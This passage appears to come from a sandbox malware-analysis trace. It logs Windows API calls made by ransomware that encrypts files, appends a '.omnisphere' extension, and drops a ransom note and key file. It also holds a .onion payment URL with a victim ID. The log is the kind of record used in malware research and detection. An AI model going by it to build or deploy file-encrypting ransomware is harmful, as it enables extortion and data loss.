pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.984] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.984] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.984] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.984] CryptDestroyKey (hKey=0x1639b28) returned 1 [0119.984] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0119.985] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x331, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0119.985] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0119.985] GetProcessHeap () returned 0x1600000 [0119.985] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ac) returned 0x16bbff0 [0119.985] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DUv6 W1yQ.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\duv6 w1yq.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DUv6 W1yQ.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\duv6 w1yq.lnk.omnisphere")) returned 1 [0119.993] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DUv6 W1yQ.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DUv6 W1yQ.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DUv6 W1yQ.lnk.omnisphere.id" [0119.993] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DUv6 W1yQ.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\duv6 w1yq.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0119.994] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0119.995] CloseHandle (hObject=0x3c0) returned 1 [0119.996] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0119.996] CloseHandle (hObject=0x288) returned 1 [0119.996] SetEndOfFile (hFile=0x28c) returned 1 [0119.996] FlushFileBuffers (hFile=0x28c) returned 1 [0120.002] CloseHandle (hObject=0x28c) returned 1 [0120.002] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DUv6 W1yQ.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0120.002] GetProcessHeap () returned 0x1600000 [0120.002] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16c0af0 [0120.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0120.002] GetProcessHeap () returned 0x1600000 [0120.002] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b1c08 [0120.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b1c08, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0120.002] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0120.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0120.002] GetProcessHeap () returned 0x1600000 [0120.002] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16afd88 [0120.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16afd88, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0120.003] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0120.003] GetProcessHeap () returned 0x1600000 [0120.003] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16bfa30 [0120.003] PathCombineW (in: pszDest=0x16bfa30, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0120.003] GetProcessHeap () returned 0x1600000 [0120.003] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16b3418 [0120.003] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.003] WriteFile (in: hFile=0x28c, lpBuffer=0x16b3418*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16b3418*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0120.003] CloseHandle (hObject=0x28c) returned 1 [0120.003] GetProcessHeap () returned 0x1600000 [0120.003] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16c0af0 | out: hHeap=0x1600000) returned 1 [0120.003] GetProcessHeap () returned 0x1600000 [0120.003] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0120.004] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0120.004] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.004] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0120.004] CloseHandle (hObject=0x28c) returned 1 [0120.004] GetProcessHeap () returned 0x1600000 [0120.004] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0120.004] GetProcessHeap () returned 0x1600000 [0120.004] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656ac0 | out: hHeap=0x1600000) returned 1 [0120.004] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf30e3df2, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0x1e855d49, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1e855d49, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0xd3, cFileName="DVuNw7GJn9GhS7bX0zM.lnk", cAlternateFileName="DVUNW7~1.LNK")) returned 1 [0120.004] GetProcessHeap () returned 0x1600000 [0120.004] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16bfd10 [0120.004] PathCombineW (in: pszDest=0x16bfd10, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="DVuNw7GJn9GhS7bX0zM.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DVuNw7GJn9GhS7bX0zM.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DVuNw7GJn9GhS7bX0zM.lnk" [0120.005] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0120.005] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DVuNw7GJn9GhS7bX0zM.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\dvunw7gjn9ghs7bx0zm.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.005] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=913) returned 1 [0120.005] GetTickCount () returned 0x115dfbe [0120.005] GetTickCount () returned 0x115dfbe [0120.005] GetTickCount () returned 0x115dfbe [0120.005] GetTickCount () returned 0x115dfbe [0120.005] GetTickCount () returned 0x115dfbe [0120.005] GetTickCount () returned 0x115dfbe [0120.005] GetTickCount () returned 0x115dfbe [0120.005] GetTickCount () returned 0x115dfbe [0120.005] GetTickCount () returned 0x115dfbe [0120.005] GetTickCount () returned 0x115dfbe [0120.005] GetTickCount () returned 0x115dfbe [0120.005] GetTickCount () returned 0x115dfbe [0120.005] GetTickCount () returned 0x115dfbe [0120.005] GetTickCount () returned 0x115dfbe [0120.006] GetTickCount () returned 0x115dfbe [0120.006] GetTickCount () returned 0x115dfbe [0120.006] GetTickCount () returned 0x115dfbe [0120.006] GetTickCount () returned 0x115dfbe [0120.006] GetTickCount () returned 0x115dfbe [0120.006] GetTickCount () returned 0x115dfbe [0120.006] GetTickCount () returned 0x115dfbe [0120.006] GetTickCount () returned 0x115dfbe [0120.006] GetTickCount () returned 0x115dfbe [0120.006] GetTickCount () returned 0x115dfbe [0120.006] GetTickCount () returned 0x115dfbe [0120.006] GetTickCount () returned 0x115dfbe [0120.006] GetTickCount () returned 0x115dfbe [0120.006] GetTickCount () returned 0x115dfbe [0120.006] GetTickCount () returned 0x115dfbe [0120.006] GetTickCount () returned 0x115dfbe [0120.006] GetTickCount () returned 0x115dfbe [0120.006] GetTickCount () returned 0x115dfbe [0120.006] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16688a0) returned 1 [0120.007] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16396a8) returned 1 [0120.007] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0120.008] CryptDestroyKey (hKey=0x16396a8) returned 1 [0120.008] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0120.008] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x391, lpName=0x0) returned 0x288 [0120.008] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x391) returned 0x1480000 [0120.008] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668928) returned 1 [0120.009] CryptImportKey (in: hProv=0x1668928, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b68) returned 1 [0120.009] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0120.009] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0120.009] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.009] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.009] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.009] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.009] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.009] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.010] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.010] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.010] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.010] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.010] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.010] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.010] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.010] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.010] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.010] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.010] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.010] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.010] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.010] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.010] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.010] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.010] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.010] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.010] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.010] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.011] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.011] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.011] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.011] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.011] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.011] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.011] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.011] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.011] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.011] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.011] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.011] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.011] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.011] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.011] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.011] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.011] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.011] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.011] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.011] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.012] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.012] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.012] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.012] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.012] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: 